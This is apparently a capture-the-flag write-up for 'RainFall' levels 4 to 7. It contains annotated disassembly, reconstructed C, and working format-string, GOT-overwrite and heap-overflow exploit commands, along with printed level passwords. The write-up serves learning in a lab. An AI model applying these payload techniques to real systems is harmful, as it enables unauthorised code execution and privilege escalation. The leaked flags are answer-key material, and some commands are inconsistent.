\�]�^�_� 200 b7fd1ac0 b7ff37d0 bffff45c
Todo: redact this
(gdb) disas main
Dump of assembler code for function main:
0x080484a7 <+0>: push ebp
0x080484a8 <+1>: mov ebp,esp
0x080484aa <+3>: and esp,0xfffffff0
0x080484ad <+6>: call 0x8048457 <n> ; n()
0x080484b2 <+11>: leave
0x080484b3 <+12>: ret
End of assembler dump.
(gdb) disas n
Dump of assembler code for function n:
0x08048457 <+0>: push ebp
0x08048458 <+1>: mov ebp,esp
0x0804845a <+3>: sub esp,0x218 ; Allocate 0x218 (536) bytes on the stack
0x08048460 <+9>: mov eax,ds:0x8049804 ; exa to stdout@libc
0x08048465 <+14>: mov DWORD PTR [esp+0x8],eax ; Set 3st argument of fgets() to stdout
0x08048469 <+18>: mov DWORD PTR [esp+0x4],0x200 ; Set 2nd argument of fgets() to 512
0x08048471 <+26>: lea eax,[ebp-0x208] ; Set 16th (520th last) byte of the stack to eax
0x08048477 <+32>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of fgets()
0x0804847a <+35>: call 0x8048350 <fgets@plt> ; fgets(ebp[-0x208 / -520] / (16th last byte of the stack), 0x200 / 512, stdout);
0x0804847f <+40>: lea eax,[ebp-0x208] ; Set eax to 16th (520th last) byte of the stack
0x08048485 <+46>: mov DWORD PTR [esp],eax ; Set eax as argument of p()
0x08048488 <+49>: call 0x8048444 <p> ; Call p(eax) / p(&stack[16])
0x0804848d <+54>: mov eax,ds:0x8049810 ; printf "%u", *0x8049810 -> "0" ; // unsigned int m = 0;
0x08048492 <+59>: cmp eax,0x1025544 ; compare eax with 0x1025544 / 16930116 in decimal
0x08048497 <+64>: jne 0x80484a5 <n+78> ; if not equal, goto return of the function
0x08048499 <+66>: mov DWORD PTR [esp],0x8048590 ; (gdb) printf "%s", 0x8048590 -> "/bin/cat /home/user/level5/.pass"
0x080484a0 <+73>: call 0x8048360 <system@plt> ; call system("/bin/cat /home/user/level5/.pass")
0x080484a5 <+78>: leave
0x080484a6 <+79>: ret
(gdb)disas p
Dump of assembler code for function p:
0x08048444 <+0>: push ebp
0x08048445 <+1>: mov ebp,esp
0x08048447 <+3>: sub esp,0x18 ; Allocate 24 bytes on the stack
0x0804844a <+6>: mov eax,DWORD PTR [ebp+0x8] ; Set eax to the first argument passed to p()
0x0804844d <+9>: mov DWORD PTR [esp],eax ; Set eax to the 1st argument of printf()
0x08048450 <+12>: call 0x8048340 <printf@plt> ; call printf(eax)
0x08048455 <+17>: leave
0x08048456 <+18>: ret
End of assembler dump.
#include <stdio.h>
unsigned int m = 0;
void p(void *fmt) {
printf(fmt);
}
void n(void) {
unsigned char buffer[536];
fgets(&buffer[16], 512, stdout);
p(&buffer[16]);
if (m == 16930116) {
system("/bin/cat /home/user/level5/.pass");
}
}
int main(int ac, char **av) {
n();
}
level4@RainFall:~$ python -c 'print "%x "*50' > /tmp/lol
level4@RainFall:~$ gdb ./level4
(gdb) run < /tmp/lol
b7ff26b0 bffff6d4 b7fd0ff4 [0 0] bffff698 804848d bffff490 200 b7fd1ac0 b7ff37d0 25207825 78252078 20782520 25207825 78252078 ....
# We can think our m global variable is one of these two zeros
level4@RainFall:~$ echo -n -e '\x42\x42\x42\x42%4$s' > /tmp/lol ; cat /tmp/lol | ./level4 | xxd
0000000: 4242 4242 286e 756c 6c29 BBBB(null) # The program should segfault by reading the address 0x42424242 after printing BBBB
# Let's do a quick for to find the real offset of the string passed to p()
level4@RainFall:~$ (for i in $(seq 1 500); do echo -n "$i: "; echo -n -e "BBBB%$i\$x" | ./level4; echo; done;) | grep 42424242
12: BBBB42424242
# Try again ...
level4@RainFall:~$ echo -n -e '\x42\x42\x42\x42%12$s' > /tmp/lol ; cat /tmp/lol | ./level4
Segmentation fault (core dumped)
level4@RainFall:~$ echo -n -e '\x10\x98\x04\x08%12$n' > /tmp/lol ; cat /tmp/lol | ./level4 | xxd
0000000: 1098 0408 ....
level4@RainFall:~$ gdb ./level4
(gdb) b *0x08048492
Breakpoint 1 at 0x8048492
(gdb) run < /tmp/lol
Starting program: /home/user/level4/level4 < /tmp/lol
Breakpoint 1, 0x08048492 in n ()
(gdb) printf "%u", *0x8049810
4
# The value of m got modified by the %n operator ! Now let's give it the value of the comparison (16930116) by printing 16930112 more characters
echo -n -e '\x10\x98\x04\x08%16930112x%12$n' > /tmp/lol ; cat /tmp/lol - | ./level4
# Should print a lot of spaces .... and then
0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a
(gdb) disas main
Dump of assembler code for function main:
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: and esp,0xfffffff0
0x0804850a <+6>: call 0x80484c2 <n> ; call n function
0x0804850f <+11>: leave
0x08048510 <+12>: ret
End of assembler dump.
(gdb) disas n
Dump of assembler code for function n:
0x080484c2 <+0>: push ebp
0x080484c3 <+1>: mov ebp,esp
0x080484c5 <+3>: sub esp,0x218 ; Allocate 0x218 bytes on the stack (528)
0x080484cb <+9>: mov eax,ds:0x8049848 ; Set eax to stdin@@GLIBC_2.0
0x080484d0 <+14>: mov DWORD PTR [esp+0x8],eax ; Set eax to 3rd argument of fgets()
0x080484d4 <+18>: mov DWORD PTR [esp+0x4],0x200 ; Set 512 to 2nd argument of fgets()
0x080484dc <+26>: lea eax,[ebp-0x208] ; Set eax to 520th byte of the stack
0x080484e2 <+32>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of fgets()
0x080484e5 <+35>: call 0x80483a0 <fgets@plt> ; Call fgets(&buffer[16], 512, stdin); (512 + 16) > 528 so a buffer overflow is possible ...
; char *fgets(char * restrict str, int size, FILE * restrict stream);
0x080484ea <+40>: lea eax,[ebp-0x208] ; Set eax to 16th first byte of the stack
0x080484f0 <+46>: mov DWORD PTR [esp],eax ; Set eax to 1st argument of printf()
0x080484f3 <+49>: call 0x8048380 <printf@plt> ; Call printf(eax) / printf(&buffer[16])
; int printf(const char * restrict format, ...);
0x080484f8 <+54>: mov DWORD PTR [esp],0x1 ; Set 1 as 1st argument of exit
0x080484ff <+61>: call 0x80483d0 <exit@plt> ; Call exit(1)
; void exit(int status);
End of assembler dump.
# If we look closely at the assembly code, we can find the o function, which is not called
(gdb) disas o
Dump of assembler code for function o:
0x080484a4 <+0>: push ebp
0x080484a5 <+1>: mov ebp,esp
0x080484a7 <+3>: sub esp,0x18
0x080484aa <+6>: mov DWORD PTR [esp],0x80485f0 ; (gdb) printf "%s", 0x80485f0 -> "/bin/sh"
0x080484b1 <+13>: call 0x80483b0 <system@plt> ; Call system("/bin/sh");
0x080484b6 <+18>: mov DWORD PTR [esp],0x1 ; Set 1 as 1st argument of exit
0x080484bd <+25>: call 0x8048390 <_exit@plt> ; Call exit(1)
End of assembler dump.
#include <stdio.h>
void o(void) {
system("/bin/sh");
exit(1);
}
void n(void) {
unsigned char buffer[528];
fgets(&buffer[16], 512, stdin);
printf(&buffer[16]);
exit(1);
}
int main(int ac, char **av) {
n();
return 0;
}
# Compiled with -fpic
# Find the index of the string
level5@RainFall:~$ (for i in {1..500}; do echo -n -e 'BBBB%'${i}'$x' > /tmp/lol ; echo -n $i": "; cat /tmp/lol2 | ./level5 ; echo ; done;) | grep 42424242
4: BBBB42424242
# Check if we can make the program segfault
level5@RainFall:~$ echo 'BBBB%4$s' | ./level5
Segmentation fault (core dumped)
To find the saved EIP of the program, we can use the ability to make the program segfault in cordination with gdb
- Make the program SEGV:
(gdb) run <<< 'BBBB%4$x'
Starting program: /home/user/level5/level5 <<< 'BBBB%4$x'
BBBB42424242
[Inferior 1 (process 12790) exited with code 01]
(gdb) run <<< 'BBBB%4$s'
Starting program: /home/user/level5/level5 <<< 'BBBB%4$s'
Program received signal SIGSEGV, Segmentation fault.
0xb7e70003 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
- Once the program has received the segv signal, check the backtrace of the program
(gdb) bt
#0 0xb7e70003 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e7887f in printf () from /lib/i386-linux-gnu/libc.so.6
#2 0x080484f8 in n ()
#3 0x0804850f in main ()
-
In our case, we want to modify the saved EIP of the n() function to avoid the exit() function call and instead jump into the o() function
-
Use the
info frame
command with the index of the frame
(gdb) info frame 1
Stack frame at 0xbffff480:
eip = 0xb7e7887f in printf; saved eip 0x80484f8
called by frame at 0xbffff6a0, caller of frame at 0xbffff460
Arglist at 0xbffff460, args:
Locals at 0xbffff460, Previous frame's sp is 0xbffff480
Saved registers:
ebx at 0xbffff478, eip at [0xbffff47c]
(gdb) info frame 2
Stack frame at 0xbffff6a0:
eip = 0x80484f8 in n; saved eip 0x804850f
called by frame at 0xbffff6b0, caller of frame at 0xbffff480
Arglist at 0xbffff698, args:
Locals at 0xbffff698, Previous frame's sp is 0xbffff6a0
Saved registers:
ebp at 0xbffff698, [eip at 0xbffff69c]
- Try to overwrite the address of the saved EIP !
level5@RainFall:~$ echo -n -e '\x7c\xf4\xff\xbf%4$s' | ./level5 | xxd
0000000: 7cf4 ffbf 7f88 e7b7 201a fdb7 b0f4 ffbf |....... .......
0000010: a4f4 ffbf 5088 e7b7 b0f4 ffbf 18f9 ffb7 ....P...........
0000020: f40f fdb7 f884 0408 b0f4 ffbf ............
level5@RainFall:~$ echo -n -e '\x7c\xf4\xff\xbf%4$n' | ./level5
Segmentation fault (core dumped)
level5@RainFall:~$ echo -n -e '\x7c\xf4\xff\xbf%4$n' > /tmp/lol
level5@RainFall:~$ gdb ./level5
(gdb) run < /tmp/lol
Starting program: /home/user/level5/level5 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
level5@RainFall:~$ echo -n -e '\x7c\xf4\xff\xbf%134513824$n' > /tmp/lol # Address of o() minus 4 first printed bytes
(gdb) run < /tmp/lol
The program being debugged has been started already.
Start it from the beginning? (y or n) yy
Starting program: /home/user/level5/level5 < /tmp/lol
|ďż˝[Inferior 1 (process 3572) exited with code 01]
This didn't worked ... maybe another solution is possible ?
level5@RainFall:~$ objdump -R ./level5
./level5: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049814 R_386_GLOB_DAT __gmon_start__
08049848 R_386_COPY stdin
08049824 R_386_JUMP_SLOT printf
08049828 R_386_JUMP_SLOT _exit
0804982c R_386_JUMP_SLOT fgets
08049830 R_386_JUMP_SLOT system
08049834 R_386_JUMP_SLOT __gmon_start__
08049838 R_386_JUMP_SLOT exit
0804983c R_386_JUMP_SLOT __libc_start_main
- We can see that the address of the exit syscall is located at the address
08049838
of our PLT table
level5@RainFall:~$ objdump -d ./level5
...
080483d0 <exit@plt>:
80483d0: ff 25 38 98 04 08 jmp *0x8049838
80483d6: 68 28 00 00 00 push $0x28
80483db: e9 90 ff ff ff jmp 8048370 <_init+0x3c>
...
(gdb) disas 0x8049838
Dump of assembler code for function [email protected]:
0x08049838 <+0>: (bad)
0x08049839 <+1>: add DWORD PTR [eax+ecx*1],0xffffffe6
End of assembler dump.
- So when exit() is called, the function will jump to the address stored in this address, let's stry to overwrite it with the address of o()
level5@RainFall:~$ echo -n -e '\x38\x98\x04\x08%134513824x%4$n' > /tmp/lol
level5@RainFall:~$ cat /tmp/lol - | ./level5
# Prints a lot of spaces
200ls
ls
ls: cannot open directory .: Permission denied
cat /home/user/level6/.pass
d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31
(gdb) disas main
Dump of assembler code for function main:
0x0804847c <+0>: push ebp ; ASM Prologue
0x0804847d <+1>: mov ebp,esp ; ASM Prologue
0x0804847f <+3>: and esp,0xfffffff0 ; Align esp
0x08048482 <+6>: sub esp,0x20 ; Allocate 0x20 / 32 bytes on the stack
0x08048485 <+9>: mov DWORD PTR [esp],0x40 ; Move 0x40 / 64 to first argument of malloc()
0x0804848c <+16>: call 0x8048350 <malloc@plt> ; Call malloc(64)
; void *malloc(size_t size);
0x08048491 <+21>: mov DWORD PTR [esp+0x1c],eax ; Set the 28th byte of the stack to eax
0x08048495 <+25>: mov DWORD PTR [esp],0x4 ; Set 0x4 / 4 as 1st argument of malloc()
0x0804849c <+32>: call 0x8048350 <malloc@plt> ; Call malloc(4)
0x080484a1 <+37>: mov DWORD PTR [esp+0x18],eax ; Set the 24th byte of the stack to eax
0x080484a5 <+41>: mov edx,0x8048468 ; Set edx to the address of m()
0x080484aa <+46>: mov eax,DWORD PTR [esp+0x18] ; Set eax to the 24th byte of the stack
0x080484ae <+50>: mov DWORD PTR [eax],edx ; Set eax to edx
0x080484b0 <+52>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to 12 byte before the beginning of the stack
0x080484b3 <+55>: add eax,0x4 ; Add 4 to eax
0x080484b6 <+58>: mov eax,DWORD PTR [eax] ;
0x080484b8 <+60>: mov edx,eax ; Set edx to eax
0x080484ba <+62>: mov eax,DWORD PTR [esp+0x1c] ; Set eax to the 28th byte of the stack
0x080484be <+66>: mov DWORD PTR [esp+0x4],edx ; Set the 2nd argument of strcpy() to edx
0x080484c2 <+70>: mov DWORD PTR [esp],eax ; Set the 1st argument of strcpy to eax
0x080484c5 <+73>: call 0x8048340 <strcpy@plt> ; Call strcpy(eax, edx)
; char *strcpy(char * dst, const char * src);
0x080484ca <+78>: mov eax,DWORD PTR [esp+0x18] ; Set eax to the 24th byte of the stack
0x080484ce <+82>: mov eax,DWORD PTR [eax]
0x080484d0 <+84>: call eax ; Call eax()
0x080484d2 <+86>: leave ; ASM Epilogue
0x080484d3 <+87>: ret ; ASM Epilogue
End of assembler dump.
(gdb) disas m
Dump of assembler code for function m:
0x08048468 <+0>: push ebp ; ASM Prologue
0x08048469 <+1>: mov ebp,esp ; ASM Prologue
0x0804846b <+3>: sub esp,0x18 ; Allocate 24 bytes on the stack
0x0804846e <+6>: mov DWORD PTR [esp],0x80485d1 ; printf "%s", 0x80485d1 -> "Nope"; Set the 1st argument of puts() to "Nope"
0x08048475 <+13>: call 0x8048360 <puts@plt> ; Call puts("Nope");
0x0804847a <+18>: leave ; ASM Epilogue
0x0804847b <+19>: ret ; ASM Epilogue
End of assembler dump.
(gdb) disas n
Dump of assembler code for function n:
0x08048454 <+0>: push ebp ; ASM Prologue
0x08048455 <+1>: mov ebp,esp ; ASM Prologue
0x08048457 <+3>: sub esp,0x18 ; Allocate 24 bytes on the stack
0x0804845a <+6>: mov DWORD PTR [esp],0x80485b0 ; printf "%s", 0x80485b0 -> "/bin/cat /home/user/level7/.pass" ; Set the 1st argument of system() to "/bin/cat /home/user/level7/.pass"
0x08048461 <+13>: call 0x8048370 <system@plt> ; Call system("/bin/cat /home/user/level7/.pass")
0x08048466 <+18>: leave ; ASM Epilogue
0x08048467 <+19>: ret ; ASM Epilogue
End of assembler dump.
#include <stdio.h>
void n() {
unsigned char buf[24];
system("bin/cat /home/user/level7/.pass");
}
void m() {
unsigned char buf[24];
puts("Nope");
}
int main(int ac, char **av) {
unsigned char buf[32];
(void *)(*(buf + 28)) = malloc(64);
(void *)(*(buf + 24)) = malloc(4);
(void *)(*(buf + 24)) = &m;
strcpy((void *)(*(buf + 28)), av[1]);
*(&buf[24])();
return ;
}
level6@RainFall:~$ ./level6
Segmentation fault (core dumped)
level6@RainFall:~$ ./level6 a
Nope
- As we can see the program segfaults when no arguments are passed we can know it uses argv[1]
level6@RainFall:~$ ./level6 $(python -c 'print "A"*71')
Nope
level6@RainFall:~$ ./level6 $(python -c 'print "A"*72')
Segmentation fault (core dumped)
(gdb) run $(python -c 'print "A"*72')
Starting program: /home/user/level6/level6 $(python -c 'print "A"*72')
Program received signal SIGSEGV, Segmentation fault.
0x08048408 in __do_global_dtors_aux ()
- As we can see the program segfault when we start to pass more than 71 bytes
In fact, what we're doing here is simple:
Malloc uses a structure to store our allocations informations, for an allocated chunk, we use 4 bytes, 3 for the size aligned to 8, and the last one for the status which tells if a chunk is free or not.
Even if we only use 4 bytes, the whole structure will take 8 bytes to be sure to align correctly with memory pages.
So in our case we write a total of 76 bytes:
-
64 for our first malloc() call
-
4 to overwrite the chunk informations
-
4 other to overwrite the rest of the malloc structure needed for alignement
-
4 to fill the 2nd malloc() call, which is executed
(gdb) run $(python -c 'print "A"*76')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/level6/level6 $(python -c 'print "A"*76')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
---
level6@RainFall:~$ gdb ./level6
gdb$ run $(python -c 'print "A"*72+"B"*4')
Starting program: /home/user/level6/level6 $(python -c 'print "A"*72+"B"*4')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
- Let's try with the address of n() instead (
0x08048454
)
level6@RainFall:~$ ./level6 $(python -c 'print "A"*72')$(echo -n -e '\x54\x84\x04\x08')
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
gdb-peda$ disas main
Dump of assembler code for function main:
0x08048521 <+0>: push ebp ; ASM Prologue
0x08048522 <+1>: mov ebp,esp ; ASM Prologue
0x08048524 <+3>: and esp,0xfffffff0 ; Align esp
0x08048527 <+6>: sub esp,0x20 ; Allocate 32 bytes on the stack
0x0804852a <+9>: mov DWORD PTR [esp],0x8 ; Set 8 to the 1st argument of malloc()
0x08048531 <+16>: call 0x80483f0 <malloc@plt> ; Call malloc(8);
0x08048536 <+21>: mov DWORD PTR [esp+0x1c],eax ; Set 28th byte of the stack to eax (return of malloc)
0x0804853a <+25>: mov eax,DWORD PTR [esp+0x1c] ; Set eax to the 28th byte of the stack
0x0804853e <+29>: mov DWORD PTR [eax],0x1 ; Set the value pointed by eax to 1
0x08048544 <+35>: mov DWORD PTR [esp],0x8 ; Set 1st argument of malloc() to 8
0x0804854b <+42>: call 0x80483f0 <malloc@plt> ; Call malloc(8);
0x08048550 <+47>: mov edx,eax ; Set edx to eax (return of malloc)
0x08048552 <+49>: mov eax,DWORD PTR [esp+0x1c] ; Set eax to 28th byte of the stack
0x08048556 <+53>: mov DWORD PTR [eax+0x4],edx ; Set the 4th to 8th byte of the allocation stored in the 28th to edx
0x08048559 <+56>: mov DWORD PTR [esp],0x8 ; Set the 1st argument of malloc to 8
0x08048560 <+63>: call 0x80483f0 <malloc@plt> ; Call malloc(8)
0x08048565 <+68>: mov DWORD PTR [esp+0x18],eax ; Set the 24th byte of the stack to the return of malloc()
0x08048569 <+72>: mov eax,DWORD PTR [esp+0x18] ; Set eax to the 24th byte of the stack
0x0804856d <+76>: mov DWORD PTR [eax],0x2 ; Set the value of the first 4 bytes stored in eax to 2
0x08048573 <+82>: mov DWORD PTR [esp],0x8 ; Set 8 as the first argument of malloc
0x0804857a <+89>: call 0x80483f0 <malloc@plt> ; Call malloc(8)
0x0804857f <+94>: mov edx,eax ; Set the return of malloc to edx
0x08048581 <+96>: mov eax,DWORD PTR [esp+0x18] ; Set eax to the 24th byte of the stack
0x08048585 <+100>: mov DWORD PTR [eax+0x4],edx ; Set the 4th to 7th byte of the address stored in eax to the return of malloc store in edx
0x08048588 <+103>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to the 2nd argument of main() / av
0x0804858b <+106>: add eax,0x4 ; add 4 to the address pointed by eax (av[1])
0x0804858e <+109>: mov eax,DWORD PTR [eax] ; set eax to the value pointed by it
0x08048590 <+111>: mov edx,eax ; Set edx to eax
0x08048592 <+113>: mov eax,DWORD PTR [esp+0x1c] ; Set eax to the 28th byte of the stack
0x08048596 <+117>: mov eax,DWORD PTR [eax+0x4] ; Set eax to the value pointed by it + 4
0x08048599 <+120>: mov DWORD PTR [esp+0x4],edx ; Set the 2nd argument of strcpy to edx
0x0804859d <+124>: mov DWORD PTR [esp],eax ; Set the 1st argument of strcpy to eax
0x080485a0 <+127>: call 0x80483e0 <strcpy@plt> ; Call strcpy(eax, edx)
0x080485a5 <+132>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to av
0x080485a8 <+135>: add eax,0x8 ; Add 8 to eax (av[2])
0x080485ab <+138>: mov eax,DWORD PTR [eax] ; Set eax to the value stored in it
0x080485ad <+140>: mov edx,eax ; Move eax to edx
0x080485af <+142>: mov eax,DWORD PTR [esp+0x18] ; Set eax to 24th byte of the stack
0x080485b3 <+146>: mov eax,DWORD PTR [eax+0x4] ; Set eax to the value stored in eax + 4
0x080485b6 <+149>: mov DWORD PTR [esp+0x4],edx ; Set edx as the 2nd argument of strcpy
0x080485ba <+153>: mov DWORD PTR [esp],eax ; Set eax as the 1st argument of strcpy
0x080485bd <+156>: call 0x80483e0 <strcpy@plt> ; Call strcpy(eax, edx);
0x080485c2 <+161>: mov edx,0x80486e9 ; printf "%s", 0x80486e9 -> "r"
0x080485c7 <+166>: mov eax, ; printf "%s", 0x80486eb -> "/home/user/level8/.pass"
0x080485cc <+171>: mov DWORD PTR [esp+0x4],edx ; Set edx to the 2nd argument of fopen()
0x080485d0 <+175>: mov DWORD PTR [esp],eax ; Set eax to the 1st argument of fopen()
0x080485d3 <+178>: call 0x8048430 <fopen@plt> ; Call fopen("/home/user/level8/.pass", "r");
; FILE *fopen(const char * restrict path, const char * restrict mode);
0x080485d8 <+183>: mov DWORD PTR [esp+0x8],eax ; Set eax as 3rd argument of fgets()
0x080485dc <+187>: mov DWORD PTR [esp+0x4],0x44 ; Set 68 as 2nd argument of fgets()
0x080485e4 <+195>: mov DWORD PTR [esp],0x8049960 ; printf "%s", 0x8049960 -> "" ; x/c 0x8049960 -> "0x8049960 <c>: 0x0"
0x080485eb <+202>: call 0x80483c0 <fgets@plt> ; Call fgets("", 68, eax);
; char *fgets(char * restrict str, int size, FILE * restrict stream);
0x080485f0 <+207>: mov DWORD PTR [esp],0x8048703 ; printf "%s", 0x8048703 -> "~~"
0x080485f7 <+214>: call 0x8048400 <puts@plt> ; Call puts("~~")
; int puts(const char *s);
0x080485fc <+219>: mov eax,0x0 ; Set 0 as return value of main()
0x08048601 <+224>: leave ; ASM Epilogue
0x08048602 <+225>: ret ; ASM Epilogue
End of assembler dump.
gdb-peda$ disas m
Dump of assembler code for function m:
0x080484f4 <+0>: push ebp ; ASM Prologue
0x080484f5 <+1>: mov ebp,esp ; ASM Prologue
0x080484f7 <+3>: sub esp,0x18 ; Allocate 24 bytes on the stack
0x080484fa <+6>: mov DWORD PTR [esp],0x0 ; Set 0 as the first argument of time()
0x08048501 <+13>: call 0x80483d0 <time@plt> ; Call time(0)
; time_t time(time_t *tloc);
0x08048506 <+18>: mov edx,0x80486e0 ; printf "%s", 0x80486e0 -> "%s - %d" ; Set edx to "%s - %d"
0x0804850b <+23>: mov DWORD PTR [esp+0x8],eax ; Set 3rd argument of printf() to eax
0x0804850f <+27>: mov DWORD PTR [esp+0x4],0x8049960 ; printf "%d", *0x8049960 -> "0" ; Set 2nd argument of printf to 0
0x08048517 <+35>: mov DWORD PTR [esp],edx ; Set edx to 1st argument of printf
0x0804851a <+38>: call 0x80483b0 <printf@plt> ; Call printf("%s - %d", 0, eax);
; int printf(const char * restrict format, ...);
0x0804851f <+43>: leave ; ASM Epilogue
0x08048520 <+44>: ret ; ASM Epilogue
End of assembler dump.
void m(void) {
unsigned char align[24];
printf("%s - %d", 0x8049960, time(NULL));
return ;
}
int main() {
uintptr_t *s1;
uintptr_t *s2;
unsigned char align[24];
s1 = malloc(8);
s1[0] = 1;
s1[1] = malloc(8);
s2 = malloc(8);
s2[0] = 2;
s2[1] = malloc(8);
strcpy(s1[1], av[1]);
strcpy(s2[1], av[2]);
fgets(0x8049960, 68, fopen("/home/user/level8/.pass", "r"));
puts("~~");
return (0);
}
level7@RainFall:~$ ./level7
Segmentation fault (core dumped)
level7@RainFall:~$ ./level7 a
Segmentation fault (core dumped)
level7@RainFall:~$ ./level7 $(python -c 'print "A"*72')
Segmentation fault (core dumped)
level7@RainFall:~$ ./level7 $(python -c 'print "A"*500')
Segmentation fault (core dumped)
level7@RainFall:~$ ./level7 a a
~~
level7@RainFall:~$ ./level7 a a a
~~
level7@RainFall:~$ ./level7 a b
~~
level7@RainFall:~$ ./level7 $(python -c 'print "A"*20') $(python -c 'print "A"*20')
~~
level7@RainFall:~$ ./level7 $(python -c 'print "A"*21') $(python -c 'print "A"*20')
Segmentation fault (core dumped)
- As address randomization is disabled on the vm, I tried to identify the returns of the malloc calls, which will always be the same as long as they succeed and we try to malloc a size of the same range (tiny / small) and the allocation is not in it's own page
level7@RainFall:~$ gdb -x /tmp/gdb ./level7
(gdb) r $(python -c 'print "A"*50') $(python -c 'print "B"*50')
Starting program: /home/user/level7/level7 $(python -c 'print "A"*50') $(python -c 'print "B"*50')
Program received signal SIGSEGV, Segmentation fault.
0xb7eb8b59 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) b *main+21
(gdb) b *main+47
(gdb) b *main+68
(gdb) b *main+94
(gdb) r $(python -c 'print "A"*50') $(python -c 'print "B"*50')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/level7/level7 $(python -c 'print "A"*50') $(python -c 'print "B"*50')
Breakpoint 1, 0x08048536 in main ()
(gdb) printf "%x", $eax
804a008
(gdb) continue
Continuing.
Breakpoint 2, 0x08048550 in main ()
(gdb) printf "%x", $eax
804a018
(gdb) continue
Continuing.
Breakpoint 3, 0x08048550 in main ()
(gdb) printf "%x", $eax
804a028
(gdb) continue
Continuing.
Breakpoint 4, 0x08048550 in main ()
(gdb) printf "%x", $eax
804a038
- As we can see all the allocations are separated by 16 bytes, which makes 8 given to our program and 8 others for the aligned malloc structure
Our main() function can be annotated like:
void m(void) {
unsigned char align[24];
printf("%s - %d", 0x8049960, time(NULL));
return ;
}
int main() {
void *s1;
void *s2;
unsigned char align[24];
s1 = malloc(8); // if succeeds, returns 0x804a008
s1[0] = 1;
s1[1] = malloc(8); // 0x804a018
s2 = malloc(8); // 0x804a028
s2[0] = 2;
s2[1] = malloc(8); // 0x804a038
strcpy(s1[1], av[1]);
strcpy(s2[1], av[2]);
fgets(0x8049960, 68, fopen("/home/user/level8/.pass", "r"));
puts("~~");
return (0);
}
- Now back on gdb, let's inspect what the first strcpy is doing
(gdb) b *main+132
(gdb) r $(python -c 'print "A"*50') $(python -c 'print "B"*50')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/level7/level7 $(python -c 'print "A"*50') $(python -c 'print "B"*50')
Breakpoint 1, 0x080485a5 in main ()
(gdb) x/100x 0x804a008
0x804a008: 0x00000001 0x0804a018 0x00000000 0x00000011
0x804a018: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a028: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a038: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a048: 0x00004141 0x00000000 0x00000000 0x00000000
0x804a058: 0x00000000 0x00000000 0x00000000 0x00000000
The 1st line is the first allocation,
0x804a008: [0x00000001] 0x0804a018 0x00000000 0x00000011
we can see the first byte is equals to 1
,
0x804a008: 0x00000001 [0x0804a018] 0x00000000 0x00000011
the next one to the address of the 2nd allocation where the strcpy writes,
0x804a008: 0x00000001 0x0804a018 [[0x00000000] [0x0000001][1]]
and the 2 last bytes are the structure used by malloc for the next allocation, the 1st is for the alignement of the structure, and the 2th contains a status
bit (lowest weight) set to 1 to indicate the allocation isn't free, and the rest are the size of the structure (16).
-
Most importantly, we can see the
strcpy
writes over structures used by malloc -
And the 2nd strcpy makes the program segfault by trying to write on *0x41414141
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xb7eb8b59 in ?? () from /lib/i386-linux-gnu/libc.so.6
- The address the second strcpy writes to is defined at 0x41414141, so we can write to any address the content of av[2] if we pass in av[1] (0x804a038 – 0x804a018 = 0x20 / 32) bytes and the address
Let's do a quick test:
(gdb) b *main+132
(gdb) r $(python -c 'print "A"*8') $(python -c 'print "B"*4')
Breakpoint 1, 0x080485a5 in main ()
(gdb) x/100x 0x804a008
0x804a008: 0x00000001 0x0804a018 0x00000000 0x00000011
0x804a018: 0x41414141 0x41414141 0x00000000 0x00000011
0x804a028: 0x00000002 0x0804a038 0x00000000 0x00000011
0x804a038: 0x00000000 0x00000000 0x00000000 0x00020fc1
0x804a048: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a058: 0x00000000 0x00000000 0x00000000 0x00000000
...
(gdb) b *main+161
(gdb) r $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x38\xa0\x04\x08') $(python -c 'print "B"*4')
Breakpoint 1, 0x080485a5 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0x080485c2 in main ()
(gdb) x/100x 0x804a008
0x804a008: 0x00000001 0x0804a018 0x00000000 0x00000011
0x804a018: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a028: 0x02010101 0x0804a038 0x00000000 0x00000011
0x804a038: 0x42424242 0x00000000 0x00000000 0x00020fc1
...
(gdb) r $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x48\xa0\x04\x08') $(python -c 'print "B"*4')
Breakpoint 1, 0x080485a5 in main ()
(gdb) set {char}0x080486fb='7' # fgets() will crash when opening the level8 password file as we cannot setuid to level8
(gdb) continue
Continuing.
Breakpoint 2, 0x080485c2 in main ()
(gdb) x/100x 0x804a008
0x804a008: 0x00000001 0x0804a018 0x00000000 0x00000011
0x804a018: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a028: 0x02010101 0x0804a048 0x00000000 0x00000011
0x804a038: 0x00000000 0x00000000 0x00000000 0x00020fc1
0x804a048: 0x42424242 0x00000000 0x00000000 0x00000000
0x804a058: 0x00000000 0x00000000 0x00000000 0x00000000
...
(gdb) continue
Continuing.
~~
[Inferior 1 (process 2891) exited normally]
